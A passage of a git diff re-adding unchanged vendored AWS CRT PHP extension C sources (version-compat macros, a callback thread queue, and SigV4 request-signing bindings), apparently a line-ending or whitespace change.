-ZEND_EXTERN_MODULE_GLOBALS(awscrt) - -#define AWSCRT_GLOBAL(v) ZEND_MODULE_GLOBALS_ACCESSOR(awscrt, v) - -#if AWS_PHP_AT_LEAST_7 -/* PHP 7 takes a zval*, PHP5 takes a zval** */ -# define AWS_PHP_STREAM_FROM_ZVAL(s, z) php_stream_from_zval(s, z) -#define XRETURN_STRINGL RETURN_STRINGL -#define XRETURN_STRING RETURN_STRING -#define XRETVAL_STRINGL RETVAL_STRINGL -#define XRETVAL_STRING RETVAL_STRING -#else /* PHP 5.5-5.6 */ -# define AWS_PHP_STREAM_FROM_ZVAL(s, z) php_stream_from_zval(s, &z) -#define XRETURN_STRINGL(s, l) RETURN_STRINGL(s, l, 1) -#define XRETURN_STRING(s) RETURN_STRING(s, 1) -#define XRETVAL_STRINGL(s, l) RETVAL_STRINGL(s, l, 1) -#define XRETVAL_STRING(s) RETVAL_STRING(s, 1) -#endif /* PHP 5.x */ - -#include "api.h" -#include "awscrt_arginfo.h" - -/* Utility macros borrowed from common */ -#define GLUE(x, y) x y - -#define RETURN_ARG_COUNT(_1_, _2_, _3_, _4_, _5_, count, ...) count -#define EXPAND_ARGS(args) RETURN_ARG_COUNT args -#define COUNT_ARGS_MAX5(...) EXPAND_ARGS((__VA_ARGS__, 5, 4, 3, 2, 1, 0)) - -#define OVERLOAD_MACRO2(name, count) name##count -#define OVERLOAD_MACRO1(name, count) OVERLOAD_MACRO2(name, count) -#define OVERLOAD_MACRO(name, count) OVERLOAD_MACRO1(name, count) - -#define CALL_OVERLOAD(name, ...) GLUE(OVERLOAD_MACRO(name, COUNT_ARGS_MAX5(__VA_ARGS__)), (__VA_ARGS__)) - -#define VARIABLE_LENGTH_ARRAY(type, name, length) type *name = alloca(sizeof(type) * (length)) - -/* - * PHP utility APIs for this extension - */ -/* - * Exception throwing mechanism, will never return - */ -#define aws_php_throw_exception(...) CALL_OVERLOAD(_AWS_PHP_THROW_EXCEPTION, __VA_ARGS__); -#define _AWS_PHP_THROW_EXCEPTION5(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) -#define _AWS_PHP_THROW_EXCEPTION4(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) -#define _AWS_PHP_THROW_EXCEPTION3(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) -#define _AWS_PHP_THROW_EXCEPTION2(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) -#define _AWS_PHP_THROW_EXCEPTION1(format) zend_error_noreturn(E_ERROR, format) - -/** - * throws an exception resulting from argument parsing, notes the current function name in the exception - */ -#define aws_php_argparse_fail() \ - do { \ - aws_php_throw_exception("Failed to parse arguments to %s", __func__); \ - } while (0) - -/** - * calls zend_parse_parameters() with the arguments and throws an exception if parsing fails - */ -#define aws_php_parse_parameters(type_spec, ...) \ - do { \ - if (zend_parse_parameters(ZEND_NUM_ARGS(), type_spec, __VA_ARGS__) == FAILURE) { \ - aws_php_argparse_fail(); \ - } \ - } while (0) - -/** - * calls zend_parse_parameters_none() and throws an exception if parsing fails - */ -#define aws_php_parse_parameters_none() \ - do { \ - if (zend_parse_parameters_none() == FAILURE) { \ - aws_php_argparse_fail(); \ - } \ - } while (0) - -/* PHP/Zend utility functions to work across PHP versions */ -zval *aws_php_zval_new(void); -void aws_php_zval_dtor(void *zval_ptr); -bool aws_php_zval_as_bool(zval *z); -void aws_php_zval_copy(zval *dest, zval *src); -/** - * Replacement for ZVAL_STRINGL that is PHP version agnostic - */ -void aws_php_zval_stringl(zval *val, const char *str, size_t len); - -/* Thread queue functions for managing PHP's optional threading situation */ -typedef struct _aws_php_task { - void (*callback)(void *); /* task function */ - void (*dtor)(void *); /* deletes task_data, if non-null */ - void *data; -} aws_php_task; - -/* maximum number of queued callbacks to execute at once. Since this is to support single-threaded usage, - * this can be a fairly small number, as how many callbacks could we reasonably be stacking up?! */ -#define AWS_PHP_THREAD_QUEUE_MAX_DEPTH 32 - -typedef struct _aws_php_thread_queue { - struct aws_mutex mutex; - aws_php_task queue[AWS_PHP_THREAD_QUEUE_MAX_DEPTH]; - size_t write_slot; - aws_thread_id_t thread_id; -} aws_php_thread_queue; - -extern aws_php_thread_queue s_aws_php_main_thread_queue; -bool aws_php_is_main_thread(void); - -void aws_php_thread_queue_init(aws_php_thread_queue *queue); -void aws_php_thread_queue_clean_up(aws_php_thread_queue *queue); -void aws_php_thread_queue_push(aws_php_thread_queue *queue, aws_php_task task); -bool aws_php_thread_queue_drain(aws_php_thread_queue *queue); - -/* called from worker thread to wait for the main thread to execute any queued work in PHP */ -void aws_php_thread_queue_yield(aws_php_thread_queue *queue); - -/* called from PHP thread to wait on async queued jobs, one of which MUST complete the promise */ -void aws_php_thread_queue_wait(aws_php_thread_queue *queue, struct aws_promise *promise); - -/** - * generic dispatch mechanism to call a callback provided as a zval with arguments - * that are converted to zvals based on the arg_types format string - * Uses the same format string as zend_parse_parameters - */ -zval aws_php_invoke_callback(zval *callback, const char *arg_types, ...); - -#endif /* PHP_AWS_CRT_H */ + +#ifndef PHP_AWS_CRT_H +#define PHP_AWS_CRT_H + +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +#ifdef HAVE_CONFIG_H +# include "config.h" +#endif + +#include "php.h" + +#include "Zend/zend_extensions.h" /* for ZEND_EXTENSION_API_NO */ + +#include +#include +#include +#include + +/* ZEND_EXTENSION_API_NO from each branch of the PHP source */ +#define AWS_PHP_EXTENSION_API_5_5 220121212 +#define AWS_PHP_EXTENSION_API_5_6 220131226 +#define AWS_PHP_EXTENSION_API_7_0 320151012 +#define AWS_PHP_EXTENSION_API_7_1 320160303 +#define AWS_PHP_EXTENSION_API_7_2 320170718 +#define AWS_PHP_EXTENSION_API_7_3 320180731 +#define AWS_PHP_EXTENSION_API_7_4 320190902 +#define AWS_PHP_EXTENSION_API_8_0 420200930 + +#if ZEND_EXTENSION_API_NO < AWS_PHP_EXTENSION_API_5_5 +# error "PHP >= 5.5 is required" +#endif + +#define AWS_PHP_AT_LEAST_7 (ZEND_EXTENSION_API_NO >= AWS_PHP_EXTENSION_API_7_0) +#define AWS_PHP_AT_LEAST_7_2 (ZEND_EXTENSION_API_NO >= AWS_PHP_EXTENSION_API_7_2) + +ZEND_BEGIN_MODULE_GLOBALS(awscrt) +long log_level; +ZEND_END_MODULE_GLOBALS(awscrt) + +ZEND_EXTERN_MODULE_GLOBALS(awscrt) + +#define AWSCRT_GLOBAL(v) ZEND_MODULE_GLOBALS_ACCESSOR(awscrt, v) + +#if AWS_PHP_AT_LEAST_7 +/* PHP 7 takes a zval*, PHP5 takes a zval** */ +# define AWS_PHP_STREAM_FROM_ZVAL(s, z) php_stream_from_zval(s, z) +#define XRETURN_STRINGL RETURN_STRINGL +#define XRETURN_STRING RETURN_STRING +#define XRETVAL_STRINGL RETVAL_STRINGL +#define XRETVAL_STRING RETVAL_STRING +#else /* PHP 5.5-5.6 */ +# define AWS_PHP_STREAM_FROM_ZVAL(s, z) php_stream_from_zval(s, &z) +#define XRETURN_STRINGL(s, l) RETURN_STRINGL(s, l, 1) +#define XRETURN_STRING(s) RETURN_STRING(s, 1) +#define XRETVAL_STRINGL(s, l) RETVAL_STRINGL(s, l, 1) +#define XRETVAL_STRING(s) RETVAL_STRING(s, 1) +#endif /* PHP 5.x */ + +#include "api.h" +#include "awscrt_arginfo.h" + +/* Utility macros borrowed from common */ +#define GLUE(x, y) x y + +#define RETURN_ARG_COUNT(_1_, _2_, _3_, _4_, _5_, count, ...) count +#define EXPAND_ARGS(args) RETURN_ARG_COUNT args +#define COUNT_ARGS_MAX5(...) EXPAND_ARGS((__VA_ARGS__, 5, 4, 3, 2, 1, 0)) + +#define OVERLOAD_MACRO2(name, count) name##count +#define OVERLOAD_MACRO1(name, count) OVERLOAD_MACRO2(name, count) +#define OVERLOAD_MACRO(name, count) OVERLOAD_MACRO1(name, count) + +#define CALL_OVERLOAD(name, ...) GLUE(OVERLOAD_MACRO(name, COUNT_ARGS_MAX5(__VA_ARGS__)), (__VA_ARGS__)) + +#define VARIABLE_LENGTH_ARRAY(type, name, length) type *name = alloca(sizeof(type) * (length)) + +/* + * PHP utility APIs for this extension + */ +/* + * Exception throwing mechanism, will never return + */ +#define aws_php_throw_exception(...) CALL_OVERLOAD(_AWS_PHP_THROW_EXCEPTION, __VA_ARGS__); +#define _AWS_PHP_THROW_EXCEPTION5(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) +#define _AWS_PHP_THROW_EXCEPTION4(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) +#define _AWS_PHP_THROW_EXCEPTION3(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) +#define _AWS_PHP_THROW_EXCEPTION2(format, ...) zend_error_noreturn(E_ERROR, format, __VA_ARGS__) +#define _AWS_PHP_THROW_EXCEPTION1(format) zend_error_noreturn(E_ERROR, format) + +/** + * throws an exception resulting from argument parsing, notes the current function name in the exception + */ +#define aws_php_argparse_fail() \ + do { \ + aws_php_throw_exception("Failed to parse arguments to %s", __func__); \ + } while (0) + +/** + * calls zend_parse_parameters() with the arguments and throws an exception if parsing fails + */ +#define aws_php_parse_parameters(type_spec, ...) \ + do { \ + if (zend_parse_parameters(ZEND_NUM_ARGS(), type_spec, __VA_ARGS__) == FAILURE) { \ + aws_php_argparse_fail(); \ + } \ + } while (0) + +/** + * calls zend_parse_parameters_none() and throws an exception if parsing fails + */ +#define aws_php_parse_parameters_none() \ + do { \ + if (zend_parse_parameters_none() == FAILURE) { \ + aws_php_argparse_fail(); \ + } \ + } while (0) + +/* PHP/Zend utility functions to work across PHP versions */ +zval *aws_php_zval_new(void); +void aws_php_zval_dtor(void *zval_ptr); +bool aws_php_zval_as_bool(zval *z); +void aws_php_zval_copy(zval *dest, zval *src); +/** + * Replacement for ZVAL_STRINGL that is PHP version agnostic + */ +void aws_php_zval_stringl(zval *val, const char *str, size_t len); + +/* Thread queue functions for managing PHP's optional threading situation */ +typedef struct _aws_php_task { + void (*callback)(void *); /* task function */ + void (*dtor)(void *); /* deletes task_data, if non-null */ + void *data; +} aws_php_task; + +/* maximum number of queued callbacks to execute at once. Since this is to support single-threaded usage, + * this can be a fairly small number, as how many callbacks could we reasonably be stacking up?! */ +#define AWS_PHP_THREAD_QUEUE_MAX_DEPTH 32 + +typedef struct _aws_php_thread_queue { + struct aws_mutex mutex; + aws_php_task queue[AWS_PHP_THREAD_QUEUE_MAX_DEPTH]; + size_t write_slot; + aws_thread_id_t thread_id; +} aws_php_thread_queue; + +extern aws_php_thread_queue s_aws_php_main_thread_queue; +bool aws_php_is_main_thread(void); + +void aws_php_thread_queue_init(aws_php_thread_queue *queue); +void aws_php_thread_queue_clean_up(aws_php_thread_queue *queue); +void aws_php_thread_queue_push(aws_php_thread_queue *queue, aws_php_task task); +bool aws_php_thread_queue_drain(aws_php_thread_queue *queue); + +/* called from worker thread to wait for the main thread to execute any queued work in PHP */ +void aws_php_thread_queue_yield(aws_php_thread_queue *queue); + +/* called from PHP thread to wait on async queued jobs, one of which MUST complete the promise */ +void aws_php_thread_queue_wait(aws_php_thread_queue *queue, struct aws_promise *promise); + +/** + * generic dispatch mechanism to call a callback provided as a zval with arguments + * that are converted to zvals based on the arg_types format string + * Uses the same format string as zend_parse_parameters + */ +zval aws_php_invoke_callback(zval *callback, const char *arg_types, ...); + +#endif /* PHP_AWS_CRT_H */ diff --git a/vendor/aws/aws-crt-php/ext/php_util.c b/vendor/aws/aws-crt-php/ext/php_util.c index 5d00658035..8e7bc30ba6 100644 --- a/vendor/aws/aws-crt-php/ext/php_util.c +++ b/vendor/aws/aws-crt-php/ext/php_util.c @@ -1,33 +1,33 @@ - -/** - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0. - */ - -#include "php_aws_crt.h" - -zval *aws_php_zval_new(void) { - return emalloc(sizeof(zval)); -} - -void aws_php_zval_dtor(void *zval_ptr) { - zval *z = zval_ptr; - zval_dtor(z); - efree(z); -} - -bool aws_php_zval_as_bool(zval *z) { -#if AWS_PHP_AT_LEAST_7 - return (Z_TYPE_P(z) == IS_TRUE); -#else - return (Z_TYPE_P(z) == IS_BOOL && Z_LVAL_P(z) != 0); -#endif -} - -void aws_php_zval_copy(zval *dest, zval *src) { -#if AWS_PHP_AT_LEAST_7 - ZVAL_COPY(dest, src); -#else - ZVAL_COPY_VALUE(dest, src); -#endif -} + +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +#include "php_aws_crt.h" + +zval *aws_php_zval_new(void) { + return emalloc(sizeof(zval)); +} + +void aws_php_zval_dtor(void *zval_ptr) { + zval *z = zval_ptr; + zval_dtor(z); + efree(z); +} + +bool aws_php_zval_as_bool(zval *z) { +#if AWS_PHP_AT_LEAST_7 + return (Z_TYPE_P(z) == IS_TRUE); +#else + return (Z_TYPE_P(z) == IS_BOOL && Z_LVAL_P(z) != 0); +#endif +} + +void aws_php_zval_copy(zval *dest, zval *src) { +#if AWS_PHP_AT_LEAST_7 + ZVAL_COPY(dest, src); +#else + ZVAL_COPY_VALUE(dest, src); +#endif +} diff --git a/vendor/aws/aws-crt-php/ext/signing.c b/vendor/aws/aws-crt-php/ext/signing.c index 0ab6d3f0f5..69da25a3f7 100644 --- a/vendor/aws/aws-crt-php/ext/signing.c +++ b/vendor/aws/aws-crt-php/ext/signing.c @@ -1,374 +1,374 @@ -/** - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0. - */ - -#include "php_aws_crt.h" - -PHP_FUNCTION(aws_crt_signing_config_aws_new) { - if (zend_parse_parameters_none() == FAILURE) { - RETURN_NULL(); - } - - aws_crt_signing_config_aws *signing_config = aws_crt_signing_config_aws_new(); - RETURN_LONG((zend_ulong)signing_config); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_release) { - zend_ulong php_signing_config = 0; - - aws_php_parse_parameters("l", &php_signing_config); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_release(signing_config); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_algorithm) { - zend_ulong php_signing_config = 0; - zend_ulong php_algorithm = 0; - - aws_php_parse_parameters("ll", &php_signing_config, &php_algorithm); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_algorithm algorithm = php_algorithm; - aws_crt_signing_config_aws_set_algorithm(signing_config, algorithm); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_signature_type) { - zend_ulong php_signing_config = 0; - zend_ulong php_signature_type = 0; - - aws_php_parse_parameters("ll", &php_signing_config, &php_signature_type); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signature_type signature_type = php_signature_type; - aws_crt_signing_config_aws_set_signature_type(signing_config, signature_type); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_credentials_provider) { - zend_ulong php_signing_config = 0; - zend_ulong php_credentials_provider = 0; - - aws_php_parse_parameters("ll", &php_signing_config, &php_credentials_provider); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_credentials_provider *credentials_provider = (void *)php_credentials_provider; - aws_crt_signing_config_aws_set_credentials_provider(signing_config, credentials_provider); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_region) { - zend_ulong php_signing_config = 0; - const char *region = NULL; - size_t region_len = 0; - - aws_php_parse_parameters("ls", &php_signing_config, ®ion, ®ion_len); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_region(signing_config, (uint8_t *)region, region_len); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_service) { - zend_ulong php_signing_config = 0; - const char *service = NULL; - size_t service_len = 0; - - aws_php_parse_parameters("ls", &php_signing_config, &service, &service_len); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_service(signing_config, (uint8_t *)service, service_len); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_use_double_uri_encode) { - zend_ulong php_signing_config = 0; - zend_bool php_use_double_uri_encode = 0; - - aws_php_parse_parameters("lb", &php_signing_config, &php_use_double_uri_encode); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_use_double_uri_encode(signing_config, php_use_double_uri_encode); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_should_normalize_uri_path) { - zend_ulong php_signing_config = 0; - zend_bool php_should_normalize_uri_path = 0; - - aws_php_parse_parameters("lb", &php_signing_config, &php_should_normalize_uri_path); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_should_normalize_uri_path(signing_config, php_should_normalize_uri_path); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_omit_session_token) { - zend_ulong php_signing_config = 0; - zend_bool php_omit_session_token = 0; - - aws_php_parse_parameters("lb", &php_signing_config, &php_omit_session_token); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_omit_session_token(signing_config, php_omit_session_token); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_signed_body_value) { - zend_ulong php_signing_config = 0; - const char *signed_body_value = NULL; - size_t signed_body_value_len = 0; - - aws_php_parse_parameters("ls", &php_signing_config, &signed_body_value, &signed_body_value_len); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_signed_body_value( - signing_config, (uint8_t *)signed_body_value, signed_body_value_len); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_signed_body_header_type) { - zend_ulong php_signing_config = 0; - zend_ulong php_signed_body_header_type = 0; - - aws_php_parse_parameters("ll", &php_signing_config, &php_signed_body_header_type); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signed_body_header_type signed_body_header_type = php_signed_body_header_type; - aws_crt_signing_config_aws_set_signed_body_header_type(signing_config, signed_body_header_type); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_expiration_in_seconds) { - zend_ulong php_signing_config = 0; - zend_ulong php_expiration_in_seconds = 0; - - aws_php_parse_parameters("ll", &php_signing_config, &php_expiration_in_seconds); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_expiration_in_seconds(signing_config, php_expiration_in_seconds); -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_date) { - zend_ulong php_signing_config = 0; - zend_ulong php_timestamp = 0; - - aws_php_parse_parameters("ll", &php_signing_config, &php_timestamp); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - aws_crt_signing_config_aws_set_date(signing_config, php_timestamp); -} - -typedef struct _should_sign_header_data { - zval *should_sign_header; - zval *header_name; - bool result; -} should_sign_header_data; - -static void should_sign_header_task(void *data) { - should_sign_header_data *task = data; - zval result = aws_php_invoke_callback(task->should_sign_header, "z", task->header_name); - task->result = aws_php_zval_as_bool(&result); - zval_dtor(&result); -} - -static bool aws_php_should_sign_header(const char *header_name, size_t header_length, void *user_data) { - zval php_header_name; - aws_php_zval_stringl(&php_header_name, header_name, header_length); - - should_sign_header_data task_data = { - .should_sign_header = user_data, - .header_name = &php_header_name, - .result = false, - }; - - aws_php_task task = { - .callback = should_sign_header_task, - .data = &task_data, - }; - - aws_php_thread_queue_push(&s_aws_php_main_thread_queue, task); - aws_php_thread_queue_yield(&s_aws_php_main_thread_queue); - - zval_dtor(&php_header_name); - - return task_data.result; -} - -PHP_FUNCTION(aws_crt_signing_config_aws_set_should_sign_header_fn) { - zend_ulong php_signing_config = 0; - zval *php_should_sign_header = NULL; - - aws_php_parse_parameters("lz", &php_signing_config, &php_should_sign_header); - - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - - /* copy/retain PHP callback, add as user data for signing_config resource */ - zval *should_sign_header = aws_php_zval_new(); - aws_php_zval_copy(should_sign_header, php_should_sign_header); - aws_crt_resource_set_user_data(signing_config, should_sign_header, aws_php_zval_dtor); - - aws_crt_signing_config_aws_set_should_sign_header_fn( - signing_config, aws_php_should_sign_header, should_sign_header); -} - -PHP_FUNCTION(aws_crt_signable_new_from_http_request) { - zend_ulong php_http_message = 0; - - aws_php_parse_parameters("l", &php_http_message); - - const aws_crt_http_message *http_message = (void *)php_http_message; - aws_crt_signable *signable = aws_crt_signable_new_from_http_request(http_message); - RETURN_LONG((zend_ulong)signable); -} - -PHP_FUNCTION(aws_crt_signable_new_from_chunk) { - zend_ulong php_input_stream = 0; - const char *previous_signature = NULL; - size_t previous_signature_len = 0; - - aws_php_parse_parameters("ls", &php_input_stream, &previous_signature, &previous_signature_len); - - aws_crt_input_stream *input_stream = (void *)php_input_stream; - aws_crt_signable *signable = - aws_crt_signable_new_from_chunk(input_stream, (uint8_t *)previous_signature, previous_signature_len); - RETURN_LONG((zend_ulong)signable); -} - -PHP_FUNCTION(aws_crt_signable_new_from_canonical_request) { - const char *canonical_request = NULL; - size_t canonical_request_len = 0; - - aws_crt_signable *signable = - aws_crt_signable_new_from_canonical_request((uint8_t *)canonical_request, canonical_request_len); - RETURN_LONG((zend_ulong)signable); -} - -PHP_FUNCTION(aws_crt_signable_release) { - zend_ulong php_signable = 0; - - aws_php_parse_parameters("l", &php_signable); - - aws_crt_signable *signable = (void *)php_signable; - aws_crt_signable_release(signable); -} - -PHP_FUNCTION(aws_crt_signing_result_release) { - zend_ulong php_signing_result = 0; - - aws_php_parse_parameters("l", &php_signing_result); - aws_crt_signing_result *result = (void *)php_signing_result; - aws_crt_signing_result_release(result); -} - -PHP_FUNCTION(aws_crt_signing_result_apply_to_http_request) { - zend_ulong php_signing_result = 0; - zend_ulong php_http_request = 0; - - aws_php_parse_parameters("ll", &php_signing_result, &php_http_request); - aws_crt_signing_result *result = (void *)php_signing_result; - aws_crt_http_message *request = (void *)php_http_request; - - if (aws_crt_signing_result_apply_to_http_request(result, request)) { - aws_php_throw_exception( - "Failed to apply signing result to HTTP request: %s", aws_crt_error_name(aws_crt_last_error())); - } -} - -typedef struct _signing_state { - struct aws_promise *promise; - zval *on_complete; - aws_crt_signing_result *signing_result; - int error_code; -} signing_state; - -/* called on main thread to deliver result to php */ -static void s_sign_aws_complete(void *data) { - signing_state *state = data; - zval *on_complete = state->on_complete; - aws_php_invoke_callback(on_complete, "ll", (zend_ulong)state->signing_result, (zend_ulong)state->error_code); -} - -/* called from signing process in aws_sign_request_aws */ -static void s_on_sign_request_aws_complete(aws_crt_signing_result *result, int error_code, void *user_data) { - signing_state *state = user_data; - struct aws_promise *promise = state->promise; - - state->signing_result = result; - state->error_code = error_code; - - /* - * Must execute PHP callback before this function returns, or signing_result will be killed - * so the callback is queued back to the main thread and will have run when yield returns - */ - aws_php_task complete_callback_task = { - .callback = s_sign_aws_complete, - .data = state, - }; - aws_php_thread_queue_push(&s_aws_php_main_thread_queue, complete_callback_task); - aws_php_thread_queue_yield(&s_aws_php_main_thread_queue); - - if (error_code) { - aws_promise_fail(promise, error_code); - } else { - aws_promise_complete(promise, result, NULL); - } -} - -PHP_FUNCTION(aws_crt_sign_request_aws) { - zend_ulong php_signable = 0; - zend_ulong php_signing_config = 0; - zval *php_on_complete = 0; - zend_ulong php_user_data = 0; - - aws_php_parse_parameters("llzl", &php_signable, &php_signing_config, &php_on_complete, &php_user_data); - - aws_crt_signable *signable = (void *)php_signable; - aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; - - struct aws_promise *promise = aws_promise_new(aws_crt_default_allocator()); - signing_state state = { - .promise = promise, - .on_complete = php_on_complete, - }; - int ret = aws_crt_sign_request_aws(signable, signing_config, s_on_sign_request_aws_complete, &state); - if (ret != 0) { - int last_error = aws_crt_last_error(); - aws_promise_fail(promise, last_error); - aws_php_throw_exception( - "aws_crt_sign_request_aws: error starting signing process: %s", aws_crt_error_name(last_error)); - } - - aws_php_thread_queue_wait(&s_aws_php_main_thread_queue, promise); - -done: - aws_promise_release(promise); - RETURN_LONG(ret); -} - -PHP_FUNCTION(aws_crt_test_verify_sigv4a_signing) { - zend_ulong php_signable = 0; - zend_ulong php_signing_config = 0; - const char *expected_canonical_request = NULL; - size_t expected_canonical_request_len = 0; - const char *signature = NULL; - size_t signature_len = 0; - const char *ecc_key_pub_x = NULL; - size_t ecc_key_pub_x_len = 0; - const char *ecc_key_pub_y = NULL; - size_t ecc_key_pub_y_len = 0; - - aws_php_parse_parameters( - "llssss", - &php_signable, - &php_signing_config, - &expected_canonical_request, - &expected_canonical_request_len, - &signature, - &signature_len, - &ecc_key_pub_x, - &ecc_key_pub_x_len, - &ecc_key_pub_y, - &ecc_key_pub_y_len); - - const aws_crt_signable *signable = (void *)php_signable; - const aws_crt_signing_config *signing_config = (void *)php_signing_config; - - bool result = AWS_OP_SUCCESS == - aws_crt_test_verify_sigv4a_signing( - signable, signing_config, expected_canonical_request, signature, ecc_key_pub_x, ecc_key_pub_y); - - RETURN_BOOL(result); -} +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +#include "php_aws_crt.h" + +PHP_FUNCTION(aws_crt_signing_config_aws_new) { + if (zend_parse_parameters_none() == FAILURE) { + RETURN_NULL(); + } + + aws_crt_signing_config_aws *signing_config = aws_crt_signing_config_aws_new(); + RETURN_LONG((zend_ulong)signing_config); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_release) { + zend_ulong php_signing_config = 0; + + aws_php_parse_parameters("l", &php_signing_config); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_release(signing_config); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_algorithm) { + zend_ulong php_signing_config = 0; + zend_ulong php_algorithm = 0; + + aws_php_parse_parameters("ll", &php_signing_config, &php_algorithm); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_algorithm algorithm = php_algorithm; + aws_crt_signing_config_aws_set_algorithm(signing_config, algorithm); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_signature_type) { + zend_ulong php_signing_config = 0; + zend_ulong php_signature_type = 0; + + aws_php_parse_parameters("ll", &php_signing_config, &php_signature_type); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signature_type signature_type = php_signature_type; + aws_crt_signing_config_aws_set_signature_type(signing_config, signature_type); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_credentials_provider) { + zend_ulong php_signing_config = 0; + zend_ulong php_credentials_provider = 0; + + aws_php_parse_parameters("ll", &php_signing_config, &php_credentials_provider); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_credentials_provider *credentials_provider = (void *)php_credentials_provider; + aws_crt_signing_config_aws_set_credentials_provider(signing_config, credentials_provider); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_region) { + zend_ulong php_signing_config = 0; + const char *region = NULL; + size_t region_len = 0; + + aws_php_parse_parameters("ls", &php_signing_config, ®ion, ®ion_len); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_region(signing_config, (uint8_t *)region, region_len); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_service) { + zend_ulong php_signing_config = 0; + const char *service = NULL; + size_t service_len = 0; + + aws_php_parse_parameters("ls", &php_signing_config, &service, &service_len); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_service(signing_config, (uint8_t *)service, service_len); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_use_double_uri_encode) { + zend_ulong php_signing_config = 0; + zend_bool php_use_double_uri_encode = 0; + + aws_php_parse_parameters("lb", &php_signing_config, &php_use_double_uri_encode); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_use_double_uri_encode(signing_config, php_use_double_uri_encode); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_should_normalize_uri_path) { + zend_ulong php_signing_config = 0; + zend_bool php_should_normalize_uri_path = 0; + + aws_php_parse_parameters("lb", &php_signing_config, &php_should_normalize_uri_path); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_should_normalize_uri_path(signing_config, php_should_normalize_uri_path); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_omit_session_token) { + zend_ulong php_signing_config = 0; + zend_bool php_omit_session_token = 0; + + aws_php_parse_parameters("lb", &php_signing_config, &php_omit_session_token); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_omit_session_token(signing_config, php_omit_session_token); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_signed_body_value) { + zend_ulong php_signing_config = 0; + const char *signed_body_value = NULL; + size_t signed_body_value_len = 0; + + aws_php_parse_parameters("ls", &php_signing_config, &signed_body_value, &signed_body_value_len); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_signed_body_value( + signing_config, (uint8_t *)signed_body_value, signed_body_value_len); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_signed_body_header_type) { + zend_ulong php_signing_config = 0; + zend_ulong php_signed_body_header_type = 0; + + aws_php_parse_parameters("ll", &php_signing_config, &php_signed_body_header_type); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signed_body_header_type signed_body_header_type = php_signed_body_header_type; + aws_crt_signing_config_aws_set_signed_body_header_type(signing_config, signed_body_header_type); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_expiration_in_seconds) 